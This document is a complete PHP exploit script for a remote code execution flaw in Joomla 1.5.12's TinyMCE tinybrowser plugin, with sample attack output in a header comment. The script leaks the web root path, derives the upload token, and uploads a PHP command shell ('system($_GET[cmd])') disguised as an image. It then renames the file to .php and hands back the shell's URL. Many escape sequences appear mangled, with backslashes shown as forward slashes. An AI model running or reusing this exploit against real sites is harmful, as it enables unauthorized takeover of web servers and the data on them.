Joomla 1.5.12 RCE via TinyMCE upload vulnerability

<?php

/**

** Joomla 1.5.12 Remote Code Execution via TinyMCE upload vulnerability

**

** Tested against :

** - Joomla 1.5.12 / Ubuntu 8.10 / Apache 2.2.9

** - Joomla 1.5.12 / Windows XP SP2 / Apache 2.2.12

**

** Luca "daath" De Fulgentis - daath [at] nibblesec.org

** http://blog.nibblesec.org

**

**/

/*

daath@shaytan:~$ php pwnoomla.php localhost /joomla

[-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]

[#] Attacking localhost:80/joomla/

[+] Web root pathname is : /var/www/

[+] Magic token is a8de65e217ed779dbda80eb04502a2da

[#] Creating remote directory ... DONE

[#] Uploading image ... DONE

[#] Renaming image's extension (takes a while) ... PWNED!

[+] Here is the php shell : /joomla/images/stories/i208661849/shell.php

daath@shaytan:~$ echo -e "GET /joomla/images/stories/i208661849/shell.php?cmd=ls%20-al%20shell.php HTTP/1.0/n/n" | nc localhost 80

HTTP/1.1 200 OK

Date: Mon, 28 Sep 2009 10:39:43 GMT

Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch

X-Powered-By: PHP/5.2.6-2ubuntu4.3

Vary: Accept-Encoding

Connection: close

Content-Type: text/html

-rw-r--r-- 1 www-data www-data 54 Sep 28 12:39 shell.php

daath@shaytan:~$

*/

$host = "localhost";

$port = "80";

$install_path = "/";

$path = "/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser";

$dir = "/tinybrowser.php?type=image&folder=";

$upload = "/upload_file.php";

$rename = "/edit.php?type=file&folder=";

/*

* PHP shell

*/

$php_shell = "<?php if(isset(/$_GET[/"cmd/"])) system(/$_GET[/"cmd/"]); ?>";

echo "/n [-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]/n/n";

if($argc < 2) {

echo " Usage: php {$argv[0]} host joomla_install_path/n";

echo " Example : php {$argv[0]} localhost /joomla/ /n/n";

exit(1);

}

$host = $argv[1];

if($argc == 3) {

$install_path = $argv[2][0] == "/" ? $argv[2] : "/".$argv[2];

$install_path = $argv[2][strlen($install_path)-1] == "/" ? $install_path : $install_path."/";

}

echo " [#] Attacking {$host}:{$port}{$install_path}/n";

$resp = HTTPRequest("GET {$install_path}/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/tinybrowser.php HTTP/1.0/r/n/r/n");

if(strstr($resp, "Restricted access")) {

die(" [-] Joomla is NOT vulnerable, exiting./n/n");

}

$webroot = get_webroot_pathname();

if($webroot == "") {

die(" [-] Web root pathname NOT FOUND, exiting./n/n");

}

echo " [+] Web root pathname is : {$webroot}/n";

$seed = md5($webroot . "s0merand0mjunk!!!111");

echo " [+] Magic token is {$seed}/n";

$my_dir = "i" . rand();

echo " [#] Creating remote directory ... ";

$resp = HTTPRequest("GET {$install_path}{$path}{$dir}/{$my_dir} HTTP/1.0/r/n/r/n");

if(!strstr($resp, "directory has been successfully created")) {

die("FAILED/n [-] Error - creating directory, exiting./n/n");

}

echo "DONE/n";

$my_shell = md5(time());

echo " [#] Uploading image ... ";

$data = "--1234567/r/n";

$data .= "Content-Disposition: form-data; name=/"Filedata/"; filename=/"{$my_shell}.png/"/r/n/r/n";

$data .= "{$php_shell}/r/n";

$data .= "--1234567--/r/n";

$req = "POST {$install_path}{$path}{$upload}" . "?obfuscate={$seed}&type=file&folder={$install_path}images/stories/{$my_dir} HTTP/1.1/r/n";

$req .= "Host: {$host}/r/n";

$req .= "Content-Length: ".strlen($data)."/r/n";

$req .= "Content-Type: multipart/form-data; boundary=1234567/r/n";

$req .= "Connection: close/r/n/r/n";

$req .= $data;

$resp = HTTPRequest($req);

if (!strstr($resp,"File Upload Success")) {

die("FAILED/n [-] Error - image uploading, exiting./n/n");

}

echo "DONE/n";

echo " [#] Renaming image's extension (takes a while) ... ";

$data = "actionfile%5B0%5D={$my_shell}.png_&renameext%5B0%5D=php&renamefile%5B0%5D=shell.&sortby=name";

$data .= "&sorttype=asc&find=&showpage=0&action=rename&commit=/r/n/r/n";

$req = "POST {$install_path}{$path}/edit.php?type=image&folder={$my_dir}%2F HTTP/1.1/n";

$req .= "Host: {$host}/r/n";

$req .= "Content-Type: application/x-www-form-urlencoded/r/n";

$req .= "Content-Length: " . strlen($data) . "/r/n/r/n";

$req .= $data;

$resp = HTTPRequest($req);

if(!strstr($resp, "1 files have been successfully renamed")) {

die("FAILED/n [-] Error - image's extension renaming, exiting./n");

}

echo "PWNED!/n";

echo " [+] Here is the php shell : {$install_path}images/stories/{$my_dir}/shell.php/n/n";

exit;

function get_webroot_pathname() {

global $install_path;

$resp = HTTPRequest("GET {$install_path}/libraries/joomla/utilities/compat/php50x.php HTTP/1./r/n/r/n");

$pos1 = strpos($resp, "in <b>");

$pos2 = strpos($resp, "libraries");

if($pos1 === false || $pos2 === false)

return "";

$init = $pos1 +strlen("in <b>");

$str = substr($resp, $init, $pos2-$init);

if($install_path != "/") {

$install_path2 = str_replace("/", "", $install_path);

$pos1 = strrpos($str, $install_path2);

if($pos1 === false)

return "";

$str = substr($str, 0, $pos1-1);

}

if($str[strlen($str)-1] == "//")

$str = substr($str, 0, $pos-1);

if(strstr($str, "/") && $str[strlen($str)-1] != "/")

$str = $str . "/";

$pathname = str_replace("//", "/", $str);

return $pathname;

}

function HTTPRequest($req) {

global $host, $port;

$s = @fsockopen($host, $port, $errno, $errstr, 10);

if(!$s) {

die("/n [-] Error in connection, exiting./n/n");

}

fputs($s, $req);

$resp = "";

while(!feof($s)) {

$resp .= fgets($s);

}

fclose($s);

return $resp;

}

?>